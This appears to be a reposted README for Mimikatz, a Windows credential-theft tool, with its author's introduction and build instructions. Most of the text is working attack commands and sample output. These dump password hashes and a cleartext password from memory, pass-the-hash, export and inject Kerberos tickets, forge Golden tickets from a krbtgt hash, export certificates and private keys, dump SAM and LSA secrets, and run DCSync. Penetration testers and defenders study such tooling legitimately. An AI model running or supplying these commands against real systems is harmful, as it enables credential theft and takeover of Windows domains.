Mimikatz : A little Tool to Play with Windows Security

Mimikatz is a tool I’ve made to learn C and make somes experiments with Windows security.

Mimikatz : A little Tool to Play with Windows Security Mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets.

mimikatz 2.0 alpha (x86) release “Kiwi en C” (Apr 6 2014 22:02:03)
Benjamin DELPY gentilkiwi ( benjamin@gentilkiwi.com )
http://blog.gentilkiwi.com/mimikatz (oe.eo)
with 13 modules * * */
mimikatz # privilege::debug
Privilege ’20’ OK
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 515764 (00000000:0007deb4)
Session : Interactive from 2
User Name : Gentil Kiwi
Domain : vm-w7-ult-x
SID : S-1-5-21-1982681256-1210654043-1600862990-1000
msv :
[00000003] Primary
* Username : Gentil Kiwi
* Domain : vm-w7-ult-x
* LM : d0e9aee149655a6075e4540af1f22d3b
* NTLM : cc36cf7a8514893efccd332446158b1a
* SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
tspkg :
* Username : Gentil Kiwi
* Domain : vm-w7-ult-x
* Password : waza1234/
…

Also Read – WinPwn : Automation for Internal Windows Penetrationtest / AD-Security

Quick usage

log
privilege::debug

sekurlsa

sekurlsa::logonpasswords
sekurlsa::tickets /export

sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd

kerberos

kerberos::list /export
kerberos::ptt c:\chocolate.kirbi

kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi

crypto

crypto::capi
crypto::cng

crypto::certificates /export
crypto::certificates /export
/systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE

crypto::keys /export
crypto::keys /machine /export

vault & lsadump

vault::cred
vault::list

token::elevate
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert

lsadump::dcsync /user:domain\krbtgt /domain:lab.local

Build

mimikatz is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are:

• for mimikatz and mimilib : Visual Studio 2010, 2012 or 2013 for Desktop (2013 Express for Desktop is free and supports x86 & x64 – http://www.microsoft.com/download/details.aspx?id=44914)
• for mimikatz driver, mimilove (and ddk2003 platform) : Windows Driver Kit 7.1 (WinDDK) – http://www.microsoft.com/download/details.aspx?id=11800

mimikatz uses SVN for source control, but is now available with GIT too! You can use any tools you want to sync, even incorporated GIT in Visual Studio 2013 =)

Build the solution

• After opening the solution, Build / Build Solution (you can change architecture)
• mimikatz is now built and ready to be used! (Win32 / x64)
  • you can have error MSB3073 about _build_.cmd and mimidrv, it’s because the driver cannot be build without Windows Driver Kit 7.1 (WinDDK), but mimikatz and mimilib are OK.

ddk2003

With this optional MSBuild platform, you can use the WinDDK build tools, and the default msvcrt runtime (smaller binaries, no dependencies)

For this optional platform, Windows Driver Kit 7.1 (WinDDK) – http://www.microsoft.com/download/details.aspx?id=11800and Visual Studio 2010 are mandatory, even if you plan to use Visual Studio 2012 or 2013 after.

Credit: Benjamin DELPY & Vincent LE TOUX